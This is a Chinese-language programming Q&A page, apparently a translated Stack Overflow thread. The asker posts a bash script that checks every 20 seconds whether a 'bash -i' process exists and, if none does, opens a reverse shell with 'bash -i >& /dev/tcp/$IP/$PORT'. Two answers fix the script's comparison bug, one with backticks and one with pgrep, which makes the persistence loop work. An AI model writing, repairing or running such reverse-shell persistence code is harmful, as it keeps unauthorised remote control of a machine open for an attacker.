Bash脚本

时间:2018-02-13 05:20:23

标签: linux bash shell sh ps

所以,如果程序尚未运行,我正在尝试使用bash编写一个bash脚本来通过反向shell来回拨到某个IP。它应该每20秒检查一次,看看进程是否存活,如果不存在,它将执行shell。但是,当我尝试执行我的程序时,我收到错误./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected。这是因为我在if语句中使用-eq。当我用=替换-eq时,程序会编译,但无论如何都会计算为0。

我做错了什么?我的代码如下。

#!/bin/bash
#A small program designed to establish and keep a reverse shell open


IP=""               #Insert your IP here
PORT=""             #Insert the Port you're listening on here. 

while(true); do
        if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
        then
                echo "Process not found, launching reverse shell to $IP on port $PORT"
                bash -i >& /dev/tcp/$IP/$PORT 0>&1
                sleep 20
        else
                echo "Process found, sleeping for 20 seconds..."
                ps -ef | grep "bash -i" | grep -v "grep" | wc -l
                sleep 20


        fi


done

2 个答案:

答案 0 :(得分:1)

您的代码需要进行少量更改。 你必须使用倾斜" `"而不是单引号" '' "在里面如果。

if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l`  -eq 0 ]

这对我有用。希望它也能帮到你。

答案 1 :(得分:1)

除了评论中提到的拼写错误,它应该是:

if ! pgrep -f 'bash -i' > /dev/null ; then
    echo "process not found"
else
    echo "process found"
fi

如果pgrep发现至少1个进程并且如果没有找到进程则返回虚假退出状态,则if会发出真正的退出状态,您可以直接在[条件中使用它。 <{1}}(这是一个命令)不是必需的。

PS:刚刚意识到这也是一小时前的mentioned in comments。会保留它,因为它是一种很好的做法。